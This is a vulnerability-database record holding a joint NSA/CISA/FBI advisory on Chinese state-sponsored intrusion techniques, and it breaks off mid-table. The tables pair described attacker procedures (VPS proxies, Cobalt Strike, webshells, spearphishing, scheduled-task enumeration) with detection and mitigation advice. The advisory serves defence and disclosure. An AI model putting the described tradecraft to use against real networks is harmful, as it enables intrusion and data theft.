"cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-11510"], "modified": "2020-10-24T12:00:00", "id": "AA20-107A", "href": "https://www.cisa.gov/news-events/cybersecurity-advisories/aa20-107a", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-03-14T18:31:25", "description": "### Summary\n\n_This advisory uses the MITRE Adversarial Tactics, Techniques, and Common Knowledge (ATT&CK\u00ae) framework, Version 9, and MITRE D3FEND\u2122 framework, version 0.9.2-BETA-3. See the [ATT&CK for Enterprise](<https://attack.mitre.org/versions/v8/techniques/enterprise/>) for all referenced threat actor tactics and techniques and the [D3FEND framework](<https://d3fend.mitre.org/>) for referenced defensive tactics and techniques._\n\nThe National Security Agency, Cybersecurity and Infrastructure Security Agency (CISA), and Federal Bureau of Investigation (FBI) assess that People\u2019s Republic of China state-sponsored malicious cyber activity is a major threat to U.S. and Allied cyberspace assets. Chinese state-sponsored cyber actors aggressively target U.S. and allied political, economic, military, educational, and critical infrastructure (CI) personnel and organizations to steal sensitive data, critical and emerging key technologies, intellectual property, and personally identifiable information (PII). Some target sectors include managed service providers, semiconductor companies, the Defense Industrial Base (DIB), universities, and medical institutions. These cyber operations support China\u2019s long-term economic and military development objectives.\n\nThis Joint Cybersecurity Advisory (CSA) provides information on tactics, techniques, and procedures (TTPs) used by Chinese state-sponsored cyber actors. This advisory builds on previous NSA, CISA, and FBI reporting to inform federal, state, local, tribal, and territorial (SLTT) government, CI, DIB, and private industry organizations about notable trends and persistent TTPs through collaborative, proactive, and retrospective analysis.\n\nTo increase the defensive posture of their critical networks and reduce the risk of Chinese malicious cyber activity, NSA, CISA, and FBI urge government, CI, DIB, and private industry organizations to apply the recommendations listed in the Mitigations section of this advisory and in Appendix A: Chinese State-sponsored Cyber Actors' Observed Procedures. **Note:** NSA, CISA, and FBI encourage organization leaders to review [CISA Joint Insights: Chinese Malicious Cyber Activity: Threat Overview for Leaders](<https://www.cisa.gov/publication/chinese-cyber-threat-overview-and-actions-leaders>) for information on this threat to their organization.\n\n[Click here](<https://media.defense.gov/2021/Jul/19/2002805003/-1/-1/1/CSA_CHINESE_STATE-SPONSORED_CYBER_TTPS.PDF>) for a PDF version of this report.\n\n### Technical Details\n\n#### **Trends in Chinese State-Sponsored Cyber Operations**\n\nNSA, CISA, and FBI have observed increasingly sophisticated Chinese state-sponsored cyber activity targeting U.S. political, economic, military, educational, and CI personnel and organizations. NSA, CISA, and FBI have identified the following trends in Chinese state-sponsored malicious cyber operations through proactive and retrospective analysis:\n\n * **Acquisition of Infrastructure and Capabilities**. Chinese state-sponsored cyber actors remain agile and cognizant of the information security community\u2019s practices. These actors take effort to mask their activities by using a revolving series of virtual private servers (VPSs) and common open-source or commercial penetration tools.\n\n * **Exploitation of Public Vulnerabilities. **Chinese state-sponsored cyber actors consistently scan target networks for critical and high vulnerabilities within days of the vulnerability\u2019s public disclosure. In many cases, these cyber actors seek to exploit vulnerabilities in major applications, such as Pulse Secure, Apache, F5 Big-IP, and Microsoft products. For information on Common Vulnerabilities and Exposures (CVE) known to be exploited by malicious Chinese state-sponsored cyber actors, see:\n\n * CISA-FBI Joint CSA AA20-133A: [Top 10 Routinely Exploited Vulnerabilities](<https://us-cert.cisa.gov/ncas/alerts/aa20-133a>),\n\n * CISA Activity Alert: AA20-275A: [Potential for China Cyber Response to Heightened U.S.-China Tensions](<https://us-cert.cisa.gov/ncas/alerts/aa20-275a>), and\n\n * NSA CSA U/OO/179811-20: [Chinese State-Sponsored Actors Exploit Publicly Known Vulnerabilities](<https://media.defense.gov/2020/Oct/20/2002519884/-1/-1/0/CSA_CHINESE_EXPLOIT_VULNERABILITIES_UOO179811.PDF>).\n\n * **Encrypted Multi-Hop Proxies. **Chinese state-sponsored cyber actors have been routinely observed using a VPS as an encrypted proxy. The cyber actors use the VPS as well as small office and home office (SOHO) devices as operational nodes to evade detection.\n\n#### **Observed Tactics and Techniques**\n\nChinese state-sponsored cyber actors use a full array of tactics and techniques to exploit computer networks of interest worldwide and to acquire sensitive intellectual property, economic, political, and military information. Appendix B: MITRE ATT&CK Framework lists the tactics and techniques used by Chinese state-sponsored cyber actors. A downloadable [JSON file](<https://github.com/nsacyber/chinese-state-sponsored-cyber-operations-observed-ttps>) is also available on the [NSA Cybersecurity GitHub page](<https://github.com/nsacyber>).\n\nRefer to Appendix A: Chinese State-Sponsored Cyber Actors\u2019 Observed Procedures for information on procedures affiliated with these tactics and techniques as well as applicable mitigations.\n\n\n\n_Figure 1: Example of tactics and techniques used in various cyber operations._\n\n### Mitigations\n\nNSA, CISA, and FBI urge federal and SLTT government, CI, DIB, and private industry organizations to apply the following recommendations as well as the detection and mitigation recommendations in Appendix A, which are tailored to observed tactics and techniques:\n\n * **Patch systems and equipment promptly and diligently. **Focus on patching critical and high vulnerabilities that allow for remote code execution or denial-of-service on externally facing equipment and CVEs known to be exploited by Chinese state-sponsored cyber actors. Consider implementing a patch management program that enables a timely and thorough patching cycle. \n**Note: **for more information on CVEs routinely exploited by Chinese state-sponsored cyber actors refer to the resources listed in the Trends in Chinese State-Sponsored Cyber Operations section.\n\n * **Enhance monitoring of network traffic, email, and endpoint systems.** Review network signatures and indicators for focused activities, monitor for new phishing themes, and adjust email rules accordingly. Follow the best practices of restricting attachments via email and blocking URLs and domains based upon reputation. Ensure that log information is aggregated and correlated to enable maximum detection capabilities, with a focus on monitoring for account misuse. Monitor common ports and protocols for command and control (C2) activity. SSL/TLS inspection can be used to see the contents of encrypted sessions to look for network-based indicators of malware communication protocols. Implement and enhance network and endpoint event analysis and detection capabilities to identify initial infections, compromised credentials, and the manipulation of endpoint processes and files.\n * **Use protection capabilities to stop malicious activity. **Implement anti-virus software and other endpoint protection capabilities to automatically detect and prevent malicious files from executing. Use a network intrusion detection and prevention system to identify and prevent commonly employed adversarial malware and limit nefarious data transfers. Use a domain reputation service to detect suspicious or malicious domains. Use strong credentials for service accounts and multi-factor authentication (MFA) for remote access to mitigate an adversary's ability to leverage stolen credentials, but be aware of MFA interception techniques for some MFA implementations.\u25aa\n\n### Resources\n\nRefer to [us-cert.cisa.gov/china](<https://us-cert.cisa.gov/china>), <https://www.ic3.gov/Home/IndustryAlerts>, and [https://www.nsa.gov/What-We-Do/Cybersecurity/Advisories-Technical-Guidance/ ](<https://www.nsa.gov/What-We-Do/Cybersecurity/Advisories-Technical-Guidance/>)for previous reporting on Chinese state-sponsored malicious cyber activity.\n\n### Disclaimer of Endorsement\n\nThe information and opinions contained in this document are provided \"as is\" and without any warranties or guarantees. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not constitute or imply its endorsement, recommendation, or favoring by the United States Government, and this guidance shall not be used for advertising or product endorsement purposes.\n\n### Purpose\n\nThis document was developed by NSA, CISA, and FBI in furtherance of their respective cybersecurity missions, including their responsibilities to develop and issue cybersecurity specifications and mitigations. This information may be shared broadly to reach all appropriate stakeholders. \nThis document is marked TLP:WHITE. Disclosure is not limited. Sources may use TLP:WHITE when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction. For more information on the Traffic Light Protocol, see [http://www.us-cert.gov/tlp/.](<http://www.us-cert.gov/tlp/>)\n\n### Trademark Recognition\n\nMITRE and ATT&CK are registered trademarks of The MITRE Corporation. \u2022 D3FEND is a trademark of The MITRE Corporation. \u2022 Microsoft, Microsoft Exchange, Office 365, Microsoft Office, OneDrive, Outlook, OWA, PowerShell, Windows Defender, and Windows are registered trademarks of Microsoft Corporation. \u2022 Pulse Secure is a registered trademark of Pulse Secure, LLC. \u2022 Apache is a registered trademark of Apache Software Foundation. \u2022 F5 and BIG-IP are registered trademarks of F5 Networks. \u2022 Cobalt Strike is a registered trademark of Strategic Cyber LLC. \u2022 GitHub is a registered trademark of GitHub, Inc. \u2022 JavaScript is a registered trademark of Oracle Corporation. \u2022 Python is a registered trademark of Python Software Foundation. \u2022 Unix is a registered trademark of The Open Group. \u2022 Linux is a registered trademark of Linus Torvalds. \u2022 Dropbox is a registered trademark of Dropbox, Inc.\n\n### APPENDIX A: Chinese State-Sponsored Cyber Actors\u2019 Observed Procedures\n\n**Note: **D3FEND techniques are based on the Threat Actor Procedure(s) and may not match automated mappings to ATT&CK techniques and sub-techniques.\n\n### Tactics: _Reconnaissance_ [[TA0043](<https://attack.mitre.org/versions/v9/tactics/TA0043>)] \n\n_Table 1: Chinese state-sponsored cyber actors\u2019 Reconnaissance TTPs with detection and mitigation recommendations_\n\nThreat Actor \nTechnique / Sub-Techniques\n\n| \n\nThreat Actor Procedure(s)\n\n| \n\nDetection and Mitigation Recommendations\n\n| \n\nDefensive Tactics and Techniques \n \n---|---|---|--- \n \nActive Scanning [[T1595](<https://attack.mitre.org/versions/v9/techniques/T1595>)] \n\n| \n\nChinese state-sponsored cyber actors have been assessed to perform reconnaissance on Microsoft\u00ae 365 (M365), formerly Office\u00ae 365, resources with the intent of further gaining information about the networks. These scans can be automated, through Python\u00ae scripts, to locate certain files, paths, or vulnerabilities. The cyber actors can gain valuable information on the victim network, such as the allocated resources, an organization\u2019s fully qualified domain name, IP address space, and open ports to target or exploit.\n\n| \n\nMinimize the amount and sensitivity of data available to external parties, for example: \n\n * Scrub user email addresses and contact lists from public websites, which can be used for social engineering, \n\n * Share only necessary data and information with third parties, and \n\n * Monitor and limit third-party access to the network. \n\nActive scanning from cyber actors may be identified by monitoring network traffic for sources associated with botnets, adversaries, and known bad IPs based on threat intelligence.\n\n| \n\nDetect: \n\n * Network Traffic Analysis\n\n * Connection Attempt Analysis [[D3-CAA](<https://d3fend.mitre.org/technique/d3f:ConnectionAttemptAnalysis>)]\n\nIsolate: \n\n * Network Isolation\n\n * Inbound Traffic Filtering [[D3-ITF](<https://d3fend.mitre.org/technique/d3f:InboundTrafficFiltering>)] \n \nGather Victim Network Information [[T1590](<https://attack.mitre.org/versions/v9/techniques/T1590>)] \n \n### Tactics: _Resource Development_ [[TA0042](<https://attack.mitre.org/versions/v9/tactics/TA0042>)]\n\n_Table II: Chinese state-sponsored cyber actors\u2019 Resource Development TTPs with detection and mitigation recommendations_\n\nThreat Actor \nTechnique / Sub-Techniques\n\n| \n\nThreat Actor Procedure(s)\n\n| \n\nDetection and Mitigation Recommendations\n\n| Defensive Tactics and Techniques \n---|---|---|--- \n \nAcquire Infrastructure [[T1583](<https://attack.mitre.org/versions/v9/techniques/T1583>)]\n\n| \n\nChinese state-sponsored cyber actors have been observed using VPSs from cloud service providers that are physically distributed around the world to host malware and function as C2 nodes.\n\n| \n\nAdversary activities occurring outside the organization\u2019s boundary of control and view makes mitigation difficult. Organizations can monitor for unexpected network traffic and data flows to and from VPSs and correlate other suspicious activity that may indicate an active threat.\n\n| \n\nN/A \n \nStage Capabilities [[T1608](<https://attack.mitre.org/versions/v9/techniques/T1608>)] \n \nObtain Capabilities [[T1588](<https://attack.mitre.org/versions/v9/techniques/T1588>)]: \n\n * Tools [[T1588.002](<https://attack.mitre.org/versions/v9/techniques/T1588/002>)]\n\n| \n\nChinese state-sponsored cyber actors have been observed using Cobalt Strike\u00ae and tools from GitHub\u00ae on victim networks. \n\n| \n\nOrganizations may be able to identify malicious use of Cobalt Strike by:\n\n * Examining network traffic using Transport Layer Security (TLS) inspection to identify Cobalt Strike. Look for human generated vice machine-generated traffic, which will be more uniformly distributed. \n\n * Looking for the default Cobalt Strike TLS certificate. \n\n * Look at the user agent that generates the TLS traffic for discrepancies that may indicate faked and malicious traffic.\n\n * Review the traffic destination domain, which may be malicious and an indicator of compromise.\n\n * Look at the packet's HTTP host header. If it does not match with the destination domain, it may indicate a fake Cobalt Strike header and profile.\n\n * Check the Uniform Resource Identifier (URI) of the flow to see if it matches one associated with Cobalt Strike's malleable C2 language. If discovered, additional recovery and investigation will be required.\n\n| N/A \n \n### Tactics: _Initial Access_ [[TA0001](<https://attack.mitre.org/versions/v9/tactics/TA0001/>)]\n\n_Table III: Chinese state-sponsored cyber actors\u2019 Initial Access TTPs with detection and mitigation recommendations_\n\nThreat Actor Technique / \nSub-Techniques\n\n| \n\nThreat Actor Procedure(s)\n\n| \n\nDetection and Mitigation Recommendations\n\n| \n\nDetection and Mitigation Recommendations \n \n---|---|---|--- \n \nDrive By Compromise [[T1189](<https://attack.mitre.org/versions/v9/techniques/T1189>)]\n\n| \n\nChinese state-sponsored cyber actors have been observed gaining access to victim networks through watering hole campaigns of typo-squatted domains.\n\n| \n\n * Ensure all browsers and plugins are kept up to date.\n * Use modern browsers with security features turned on.\n * Restrict the use of unneeded websites, block unneeded downloads/attachments, block unneeded JavaScript\u00ae, restrict browser extensions, etc.\n * Use adblockers to help prevent malicious code served through advertisements from executing. \n * Use script blocking extensions to help prevent the execution of unneeded JavaScript, which may be used during exploitation processes. \n * Use browser sandboxes or remote virtual environments to mitigate browser exploitation.\n * Use security applications that look for behavior used during exploitation, such as Windows Defender\u00ae Exploit Guard (WDEG).\n| \n\nDetect: \n\n * Identifier Analysis \n * Homoglyph Detection [[D3-HD](<https://d3fend.mitre.org/technique/d3f:HomoglyphDetection>)]\n * URL Analysis [[D3-UA](<https://d3fend.mitre.org/technique/d3f:URLAnalysis>)]\n * File Analysis \n * Dynamic Analysis [[D3-DA](<https://d3fend.mitre.org/technique/d3f:DynamicAnalysis>)]\n\nIsolate: \n\n * Execution Isolation \n * Hardware-based Process Isolation [[D3-HBPI](<https://d3fend.mitre.org/technique/d3f:Hardware-basedProcessIsolation>)]\n * Executable Allowlisting [[D3-EAL](<https://d3fend.mitre.org/technique/d3f:ExecutableAllowlisting>)]\n * Network Isolation \n * DNS Denylisting [[D3-DNSDL](<https://d3fend.mitre.org/technique/d3f:DNSDenylisting>)] \n * Outbound Traffic Filtering [[D3-OTF](<https://d3fend.mitre.org/technique/d3f:OutboundTrafficFiltering>)] \n \nExploit Public-Facing Application [[T1190](<https://attack.mitre.org/versions/v9/techniques/T1190>)]\n\n| \n\nChinese state-sponsored cyber actors have exploited known vulnerabilities in Internet-facing systems.[[1](<https://www.fireeye.com/blog/threat-research/2020/03/apt41-initiates-global-intrusion-campaign-using-multiple-exploits.html >)] For information on vulnerabilities known to be exploited by Chinese state-sponsored cyber actors, refer to the Trends in Chinese State-Sponsored Cyber Operations section for a list of resources. \nChinese state-sponsored cyber actors have also been observed:\n\n * Using short-term VPS devices to scan and exploit vulnerable Microsoft Exchange\u00ae Outlook Web Access (OWA\u00ae) and plant webshells.\n\n * Targeting on-premises Identity and Access Management (IdAM) and federation services in hybrid cloud environments to gain access to cloud resources.\n\n * Deploying a public proof of concept (POC) exploit targeting a public-facing appliance vulnerability.\n\n| \n\nReview previously published alerts and advisories from NSA, CISA, and FBI, and diligently patch vulnerable applications known to be exploited by cyber actors. Refer to the Trends in Chinese State-Sponsored Cyber Operations section for a non-inclusive list of resources.\n\nAdditional mitigations include:\n\n * Consider implementing Web Application Firewalls (WAF), which can prevent exploit traffic from reaching an application.\n * Segment externally facing servers and services from the rest of the network with a demilitarized zone (DMZ).\n * Use multi-factor authentication (MFA) with strong factors and require regular re-authentication.\n * Disable protocols using weak authentication.\n * Limit access to and between cloud resources with the desired state being a Zero Trust model. For more information refer to NSA Cybersecurity Information Sheet: [[Embracing a Zero Trust Security Model](<https://media.defense.gov/2021/Feb/25/2002588479/-1/-1/0/CSI_EMBRACING_ZT_SECURITY_MODEL_UOO115131-21.PDF>)].\n * When possible, use cloud-based access controls on cloud resources (e.g., cloud service provider (CSP)-managed authentication between virtual machines).\n * Use automated tools to audit access logs for security concerns.\n * Where possible, enforce MFA for password resets.\n * Do not include Application Programing Interface (API) keys in software version control systems where they can be unintentionally leaked.\n| \n\nHarden:\n\n * Application Hardening [[D3-AH](<https://d3fend.mitre.org/technique/d3f:ApplicationHardening>)]\n * Platform Hardening \n * Software Update [[D3-SU](<https://d3fend.mitre.org/technique/d3f:SoftwareUpdate>)]\n\nDetect:\n\n * File Analysis [[D3-FA](<https://d3fend.mitre.org/technique/d3f:FileAnalysis>)] \n * Network Traffic Analysis \n * Client-server Payload Profiling [[D3-CSPP](<https://d3fend.mitre.org/technique/d3f:Client-serverPayloadProfiling>)]\n * Process Analysis \n * Process Spawn Analysis\n * Process Lineage Analysis [[D3-PLA](<https://d3fend.mitre.org/technique/d3f:ProcessLineageAnalysis>)]\n\nIsolate: \n\n * Network Isolation \n * Inbound Traffic Filtering [[D3-ITF](<https://d3fend.mitre.org/technique/d3f:InboundTrafficFiltering>)] \n \nPhishing [[T1566](<https://attack.mitre.org/versions/v9/techniques/T1566>)]: \n\n * Spearphishing Attachment [[T1566.001](<https://attack.mitre.org/versions/v9/techniques/T1566/001>)] \n\n * Spearphishing Link [[T1566.002](<https://attack.mitre.org/versions/v9/techniques/T1566/002>)]\n\n| \n\nChinese state-sponsored cyber actors have been observed conducting spearphishing campaigns. These email compromise attempts range from generic emails with mass targeted phishing attempts to specifically crafted emails in targeted social engineering lures. \nThese compromise attempts use the cyber actors\u2019 dynamic collection of VPSs, previously compromised accounts, or other infrastructure in order to encourage engagement from the target audience through domain typo-squatting and masquerading. These emails may contain a malicious link or files that will provide the cyber actor access to the victim\u2019s device after the user clicks on the malicious link or opens the attachment. \n\n| \n\n * Implement a user training program and simulated spearphishing emails to discourage users from visiting malicious websites or opening malicious attachments and re-enforce the appropriate user responses to spearphishing emails. Quarantine suspicious files with antivirus solutions.\n * Use a network intrusion prevention system (IPS) to scan and remove malicious email attachments.\n * Block uncommon file types in emails that are not needed by general users (`.exe`, `.jar`,`.vbs`)\n * Use anti-spoofing and email authentication mechanisms to filter messages based on validity checks of the sender domain (using Sender Policy Framework [SPF]) and integrity of messages (using Domain Keys Identified Mail [DKIM]). Enabling these mechanisms within an organization (through policies such as Domain-based Message Authentication, Reporting, and Conformance [DMARC]) may enable recipients (intra-org and cross domain) to perform similar message filtering and validation.\n * Determine if certain websites that can be used for spearphishing are necessary for business operations and consider blocking access if activity cannot be monitored well or if it poses a significant risk.\n * Prevent users from clicking on malicious links by stripping hyperlinks or implementing \"URL defanging\" at the Email Security Gateway or other email security tools.\n * Add external sender banners to emails to alert users that the email came from an external sender.\n| \n\nHarden: \n\n * Message Hardening \n * Message Authentication [[D3-MAN](<https://d3fend.mitre.org/technique/d3f:MessageAuthentication>)]\n * Transfer Agent Authentication [[D3-TAAN](<https://d3fend.mitre.org/technique/d3f:TransferAgentAuthentication>)]\n\nDetect: \n\n * File Analysis \n * Dynamic Analysis [[D3-DA](<https://d3fend.mitre.org/technique/d3f:DynamicAnalysis>)]\n * Identifier Analysis \n * Homoglyph Detection [[D3-HD](<https://d3fend.mitre.org/technique/d3f:HomoglyphDetection>)]\n * URL Analysis [[D3-UA](<https://d3fend.mitre.org/technique/d3f:URLAnalysis>)]\n * Message Analysis \n * Sender MTA Reputation Analysis [[D3-SMRA](<https://d3fend.mitre.org/technique/d3f:SenderMTAReputationAnalysis>)]\n * Sender Reputation Analysis [[D3-SRA](<https://d3fend.mitre.org/technique/d3f:SenderReputationAnalysis>)] \n \n \nExternal Remote Services [[T1133](<https://attack.mitre.org/versions/v9/techniques/T1133>)]\n\n| \n\nChinese state-sponsored cyber actors have been observed:\n\n * Exploiting vulnerable devices immediately after conducting scans for critical zero-day or publicly disclosed vulnerabilities. The cyber actors used or modified public proof of concept code in order to exploit vulnerable systems.\n\n * Targeting Microsoft Exchange offline address book (OAB) virtual directories (VDs).\n\n * Exploiting Internet accessible webservers using webshell small code injections against multiple code languages, including `net`, `asp`, `apsx`, `php`, `japx`, and `cfm`. \n\n**Note:** refer to the references listed above in Exploit Public-Facing Application [[T1190](<https://attack.mitre.org/versions/v9/techniques/T1190>)] for information on CVEs known to be exploited by malicious Chinese cyber actors.\n\n**Note: **this technique also applies to Persistence [[TA0003](<https://attack.mitre.org/versions/v9/tactics/TA0003>)].\n\n| \n\n * Many exploits can be mitigated by applying available patches for vulnerabilities (such as CVE-2019-11510, CVE-2019-19781, and CVE-2020-5902) affecting external remote services.\n * Reset credentials after virtual private network (VPN) devices are upgraded and reconnected to the external network.\n * Revoke and generate new VPN server keys and certificates (this may require redistributing VPN connection information to users).\n * Disable Remote Desktop Protocol (RDP) if not required for legitimate business functions.\n * Restrict VPN traffic to and from managed service providers (MSPs) using a dedicated VPN connection.\n * Review and verify all connections between customer systems, service provider systems, and other client enclaves.\n| \n\nHarden:\n\n * Software Update [[D3-SU](<https://d3fend.mitre.org/technique/d3f:SoftwareUpdate>)]\n\nDetect:\n\n * Network Traffic Analysis \n * Connection Attempt Analysis [[D3-CAA](<https://d3fend.mitre.org/technique/d3f:ConnectionAttemptAnalysis>)]\n * Platform Monitoring [[D3-PM](<https://d3fend.mitre.org/technique/d3f:PlatformMonitoring>)]\n * Process Analysis \n * Process Spawn Analysis [[D3-SPA](<https://d3fend.mitre.org/technique/d3f:ProcessSpawnAnalysis>)] \n * Process Lineage Analysis [[D3-PLA](<https://d3fend.mitre.org/technique/d3f:ProcessLineageAnalysis>)] \n \nValid Accounts [[T1078](<https://attack.mitre.org/versions/v9/techniques/T1078>)]:\n\n * Default Accounts [[T1078.001](<https://attack.mitre.org/versions/v9/techniques/T1078/001>)]\n\n * Domain Accounts [[T1078.002](<https://attack.mitre.org/versions/v9/techniques/T1078/002>)]\n\n| \n\nChinese state-sponsored cyber actors have been observed: gaining credential access into victim networks by using legitimate, but compromised credentials to access OWA servers, corporate login portals, and victim networks.\n\n**Note:** this technique also applies to Persistence [[TA0003](<https://attack.mitre.org/versions/v9/tactics/TA0003>)], Privilege Escalation [[TA0004](<https://attack.mitre.org/versions/v9/tactics/TA0004>)], and Defense Evasion [[TA0005](<https://attack.mitre.org/versions/v9/tactics/TA0005>)].\n\n| \n\n * Adhere to best practices for password and permission management.\n * Ensure that MSP accounts are not assigned to administrator groups and restrict those accounts to only systems they manage \n * Do not store credentials or sensitive data in plaintext.\n * Change all default usernames and passwords.\n * Routinely update and secure applications using Secure Shell (SSH). \n * Update SSH keys regularly and keep private keys secure.\n * Routinely audit privileged accounts to identify malicious use.\n| \n\nHarden: \n\n * Credential Hardening \n * Multi-factor Authentication [[D3-MFA](<https://d3fend.mitre.org/technique/d3f:Multi-factorAuthentication>)]\n\nDetect:\n\n * User Behavior Analysis [[D3-UBA](<https://d3fend.mitre.org/technique/d3f:UserBehaviorAnalysis>)] \n * Authentication Event Thresholding [[D3-ANET](<https://d3fend.mitre.org/technique/d3f:AuthenticationEventThresholding>)] \n * Job Function Access Pattern Analysis [[D3-JFAPA](<https://d3fend.mitre.org/technique/d3f:JobFunctionAccessPatternAnalysis>)] \n \n### Tactics: _Execution_ [[TA0002](<https://attack.mitre.org/versions/v9/tactics/TA0002>)]\n\n_Table IV: Chinese state-sponsored cyber actors\u2019 Execution TTPs with detection and mitigation recommendations_\n\nThreat Actor Technique / \nSub-Techniques\n\n| \n\nThreat Actor Procedure(s)\n\n| \n\nDetection and Mitigation Recommendations\n\n| \n\nDefensive Tactics and Techniques \n \n---|---|---|--- \n \nCommand and Scripting Interpreter [[T1059](<https://attack.mitre.org/versions/v9/techniques/T1059>)]: \n\n * PowerShell\u00ae [[T1059.001](<https://attack.mitre.org/versions/v9/techniques/T1059/001>)]\n\n * Windows\u00ae Command Shell [[T1059.003](<https://attack.mitre.org/versions/v9/techniques/T1059/003>)]\n\n * Unix\u00ae Shell [[T1059.004](<https://attack.mitre.org/versions/v9/techniques/T1059/004>)]\n\n * Python [[T1059.006](<https://attack.mitre.org/versions/v9/techniques/T1059/006>)]\n\n * JavaScript [[T1059.007](<https://attack.mitre.org/versions/v9/techniques/T1059/007>)]\n\n * Network Device CLI [[T1059.008](<https://attack.mitre.org/versions/v9/techniques/T1059/008>)]\n\n| \n\nChinese state-sponsored cyber actors have been observed:\n\n * Using cmd.exe, JavaScript/Jscript Interpreter, and network device command line interpreters (CLI).\n\n * Using PowerShell to conduct reconnaissance, enumeration, and discovery of the victim network. \n\n * Employing Python scripts to exploit vulnerable servers.\n\n * Using a UNIX shell in order to conduct discovery, enumeration, and lateral movement on Linux\u00ae servers in the victim network.\n\n| \n\nPowerShell\n\n * Turn on PowerShell logging. (**Note:** this works better in newer versions of PowerShell. NSA, CISA, and FBI recommend using version 5 or higher.)\n\n * Push Powershell logs into a security information and event management (SIEM) tool.\n\n * Monitor for suspicious behavior and commands. Regularly evaluate and update blocklists and allowlists.\n\n * Use an antivirus program, which may stop malicious code execution that cyber actors attempt to execute via PowerShell.\n\n * Remove PowerShell if it is not necessary for operations. \n\n * Restrict which commands can be used.\n\nWindows Command Shell\n\n * Restrict use to administrator, developer, or power user systems. Consider its use suspicious and investigate, especially if average users run scripts. \n\n * Investigate scripts running out of cycle from patching or other administrator functions if scripts are not commonly used on a system, but enabled. \n\n * Monitor for and investigate other unusual or suspicious scripting behavior. \n\nUnix\n\n * Use application controls to prevent execution.\n\n * Monitor for and investigate unusual scripting behavior. Use of the Unix shell may be common on administrator, developer, or power user systems. In this scenario, normal users running scripts should be considered suspicious. \n\n * If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions should be considered suspicious. \n\nPython\n\n * Audit inventory systems for unauthorized Python installations.\n\n * Blocklist Python where not required.\n\n * Prevent users from installing Python where not required.\n\nJavaScript\n\n * Turn off or restrict access to unneeded scripting components.\n\n * Blocklist scripting where appropriate.\n\n * For malicious code served up through ads, adblockers can help prevent that code from executing.\n\nNetwork Device Command Line Interface (CLI)\n\n * Use TACACS+ to keep control over which commands administrators are permitted to use through the configuration of authentication and command authorization.\n\n * Use an authentication, authorization, and accounting (AAA) systems to limit actions administrators can perform and provide a history of user actions to detect unauthorized use and abuse.\n\n * Ensure least privilege principles are applied to user accounts and groups.\n\n| \n\nHarden: \n\n * Platform Hardening [[D3-PH](<https://d3fend.mitre.org/technique/d3f:PlatformHardening>)]\n\nDetect: \n\n * Process Analysis\n\n * Script Execution Analysis [[D3-SEA](<https://d3fend.mitre.org/technique/d3f:ScriptExecutionAnalysis>)]\n\nIsolate:\n\n * Execution Isolation\n\n * Executable Allowlisting [[D3-EAL](<https://d3fend.mitre.org/technique/d3f:ExecutableAllowlisting>)] \n \nScheduled Task/Job [[T1053](<https://attack.mitre.org/versions/v9/techniques/T1053>)]\n\n * Cron [[T1053.003](<https://attack.mitre.org/versions/v9/techniques/T1053/003>)]\n * Scheduled Task [[T1053.005](<https://attack.mitre.org/versions/v9/techniques/T1053/005>)]\n| \n\nChinese state-sponsored cyber actors have been observed using Cobalt Strike, webshells, or command line interface tools, such as `schtask` or `crontab` to create and schedule tasks that enumerate victim devices and networks.\n\n**Note:** this technique also applies to Persistence [[TA0003](<https://attack.mitre.org/versions/v9/tactics/TA0003>)] and Privilege Escalation [[TA0004](<https://attack.mitre.org/versions/v9/tactics/TA0004>)].\n\n| \n\n\u2022 Monitor scheduled task creation from common utilities using command-line invocation and compare for any changes that do not correlate with known software, patch cycles, or other administrative activity. \n\u2022 Configure event logging for scheduled task creation and monitor process execution from `svchost.exe` (Windows 10) and Windows Task Scheduler (Older version of Windows) to look for changes in `%systemroot%\\System32\\Tasks` that do not correlate with known software, patch cycles, or other administrative activity. Additionally monitor for any scheduled tasks created via command line utilities\u2014such as PowerShell or Windows Management Instrumentation (WMI)\u2014that do not conform to typical administrator or user actions. \n\n| \n\nDetect: \n\n * Platform Monitoring \n * Operating System Monitoring [[D3-OSM](<https://d3fend.mitre.org/technique/d3f:OperatingSystemMonitoring>)] \n * Scheduled Job Analysis [[D3-SJA](<https://d3fend.mitre.org/technique/d3f:ScheduledJobAnalysis>)]\n * System Daemon Monitoring [[D3-SDM](<https://d3fend.mitre.org/technique/d3f:SystemDaemonMonitoring>)]\n * System File Analysis [[D3-SFA](<https://d3fend.mitre.org/technique/d3f:SystemFileAnalysis>)]\n\nIsolate: \n\n * Execution Isolation \n * Executable Allowlisting [[D3-EAL](<https://d3fend.mitre.org/technique/d3f:ExecutableAllowlisting>)] \n \nUser Execution [[T1204](<https://attack.mitre.org/versions/v9/techniques/T1204>)]\n\n * Malicious Link [[T1204.001](<https://attack.mitre.org/versions/v9/techniques/T1204/001>)]\n * Malicious File [[T1204.002](<https://attack.mitre.org/versions/v9/techniques/T1204/002>)]\n| \n\nChinese state-sponsored cyber actors have been observed conducting spearphishing campaigns that encourage engagement from the target audience. These emails may contain a malicious link or file that provide the cyber actor access to the victim\u2019s device after the user clicks on the malicious link or opens the attachment.\n\n| \n\n * Use an antivirus program, which may stop malicious code execution that cyber actors convince users to attempt to execute.\n * Prevent unauthorized execution by disabling macro scripts from Microsoft Office files transmitted via email. Consider using Office Viewer software to open Microsoft Office files transmitted via email instead of full Microsoft Office suite applications.\n * Use a domain reputation service to detect and block suspicious or malicious domains.\n * Determine if certain categories of websites are necessary for business operations and consider blocking access if activity cannot be monitored well or if it poses a significant risk.\n * Ensure all browsers and plugins are kept up to date.\n * Use modern browsers with security features turned on.\n * Use browser and application sandboxes or remote virtual environments to mitigate browser or other application exploitation.\n| \n\nDetect: \n\n * File Analysis \n * Dynamic Analysis [[D3-DA](<https://d3fend.mitre.org/technique/d3f:DynamicAnalysis>)]\n * File Content Rules 